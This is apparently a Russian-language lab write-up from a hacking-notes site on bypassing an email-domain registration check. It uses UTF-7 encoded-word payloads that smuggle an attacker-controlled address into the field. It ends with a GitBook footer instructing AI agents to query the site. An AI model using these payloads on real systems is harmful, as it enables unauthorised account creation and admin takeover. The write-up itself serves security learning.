> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# Обход контроля доступа из-за непоследовательного разбора адресов электронной почты

### Обход управления доступом с использованием расхождений в разборе адресов электронной почты

#### Описание лабораторной

В этом лабораторном задании реализована проверка адресов электронной почты, чтобы предотвратить регистрацию с неавторизованными доменами. / Однако существует несоответствие между логикой проверки на стороне приложения и библиотекой, которая фактически используется для интерпретации адресов электронной почты.

Используя это различие в разборе, можно зарегистрироваться с внешним адресом электронной почты, обходя ограничение на разрешённый домен, а затем получить доступ к функциям администратора и удалить пользователя **carlos**.

<figure><img src="/files/9d8df4ffed433fa5ad8d67934dbe952d457b648c" alt=""><figcaption></figcaption></figure>

#### Ограничение регистрации

При попытке зарегистрироваться с обычным адресом, например:

```
test@jord4n.pro
```

Приложение отклоняет регистрацию и сообщает, что разрешены только адреса, принадлежащие следующему домену:

```
ginandjuice.shop
```

<figure><img src="/files/046fed5fc098be7f1b5d1764761834a8629b2d08" alt=""><figcaption></figcaption></figure>

Законная регистрация с этим доменом затем вызывает письмо с подтверждением:

```
Пожалуйста, проверьте свою электронную почту на наличие ссылки для регистрации аккаунта
```

<figure><img src="/files/3fa87e490969927ee294af9028f92c89192a3d79" alt=""><figcaption></figcaption></figure>

Поэтому необходимо получить это письмо, чтобы завершить регистрацию.

#### Причина уязвимости

<figure><img src="/files/effccb113e39cb89b9321ce88d7a4c1eb4ea96e5" alt=""><figcaption></figcaption></figure>

Ошибка основана на использовании **Encoded-word** (RFC 2047), формат которого следующий:

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

Этот механизм позволяет кодировать определённые части адреса электронной почты.

Валидатор приложения отвергает некоторые кодировки, тогда как конечный парсер электронной почты корректно их интерпретирует.

#### Первоначальная блокировка

Простая попытка кодирования в UTF-8 (quoted-printable) блокируется WAF:

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

Ответ

```bash
Регистрация заблокирована по соображениям безопасности
```

<figure><img src="/files/47c271c24235a253b2c37297f5b5ee0c13f54495" alt=""><figcaption></figcaption></figure>

#### Способ обхода

Чтобы обойти эту фильтрацию, **Кодирование UTF-7 с Base64** используется.

Принцип:

* Закодируйте символ в UTF-16

<figure><img src="/files/bc4e4ec37f499e577eaa95f23651e7c986578684" alt=""><figcaption></figcaption></figure>

* Преобразуйте этот результат в Base64

<figure><img src="/files/3a07d2a7f949002102949a6c7cfc13647998ca09" alt=""><figcaption></figcaption></figure>

* Используйте это в Encoded-word UTF-7

Пример кодирования символа `файл`:

* UTF-16 → Base64 : `AGE=`

Минимально рабочая полезная нагрузка:

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

Это значение принимается логикой проверки.

<figure><img src="/files/c9c9338ffead07a34c2f47e82039964e883d7d94" alt=""><figcaption></figcaption></figure>

#### Полная операция с контролируемым адресом

Адрес атакующего:

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

Сборка полезной нагрузки:

* `&AEA-` обозначает `@`
* `&ACA-` обозначает пробел, предотвращающий строгую интерпретацию конечного домена

<figure><img src="/files/83e2d01c3ed99694f4a5e76b600cc6f2135670f8" alt=""><figcaption></figcaption></figure>

Итоговая полезная нагрузка, используемая при регистрации:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="/files/491275f26a386136f344e952f65ad76d3930deac" alt="" width="563"><figcaption></figcaption></figure>

Адрес, фактически интерпретируемый почтовым сервером:

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="/files/3a102323852ccd2385bdfd6fe6c35cb1df5907f2" alt=""><figcaption></figcaption></figure>

#### Результат

* Приложение проверяет адрес, потому что он заканчивается на `@ginandjuice.shop`

<figure><img src="/files/8876cdba450e15187845ac53d608e45a0c6b59fe" alt=""><figcaption></figcaption></figure>

* Почтовый сервер отправляет письмо на адрес, контролируемый атакующим
* Получена ссылка для подтверждения
* Регистрация успешно завершена
* Получен доступ к приложению
* Становятся возможны административные действия, включая удаление пользователя **carlos**

<figure><img src="/files/b1ef6f058920b9552d2369e657fb15e7d2b029b1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
